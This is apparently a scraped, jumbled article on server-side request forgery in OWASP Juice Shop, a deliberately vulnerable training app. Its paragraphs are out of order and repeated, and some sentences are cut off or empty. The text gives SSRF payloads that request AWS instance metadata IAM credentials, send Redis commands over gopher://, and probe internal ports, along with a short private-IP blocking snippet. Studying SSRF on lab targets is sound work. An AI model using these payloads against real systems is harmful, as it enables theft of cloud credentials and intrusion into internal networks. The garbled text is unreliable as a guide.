Juice Shop Ssrf Official

Inspecting the network traffic reveals that the server makes a backend request to: https://maps.googleapis.com/maps/api/staticmap?center=...

gopher://internal-redis:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a This could dump internal databases. Leverage timing attacks. For each port:

For defenders, the lesson is clear: . Validate the destination as if your internal network depends on it—because it does. This article is for educational purposes. Always test on systems you own or have explicit permission to test. juice shop ssrf

"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" This would return the server's temporary AWS keys. Using the gopher:// protocol (if enabled in the request library or http module):

Introduction: The Silent Proxy Server-Side Request Forgery (SSRF) is often called the "forgotten twin" of Cross-Site Request Forgery (CSRF). While CSRF tricks a user's browser , SSRF tricks the server itself . An SSRF vulnerability allows an attacker to induce the server to make HTTP requests to an arbitrary domain of the attacker's choosing. Inspecting the network traffic reveals that the server

POST /api/image/uploads HTTP/1.1 Host: juice-shop.local Content-Type: application/json "url": "http://localhost:3000/some/path"

const dns = require('dns').promises; const ip = await dns.lookup(urlObj.hostname); if (isPrivateIP(ip.address)) throw new Error('Blocked'); The SSRF vulnerability in OWASP Juice Shop is small but elegant. It demonstrates a single line of missing validation leading to a complete breach of network segmentation. For penetration testers, mastering SSRF means understanding that the server is just another user—one with far more privileges. For each port: For defenders, the lesson is clear:

); );

POST /api/ImageUploads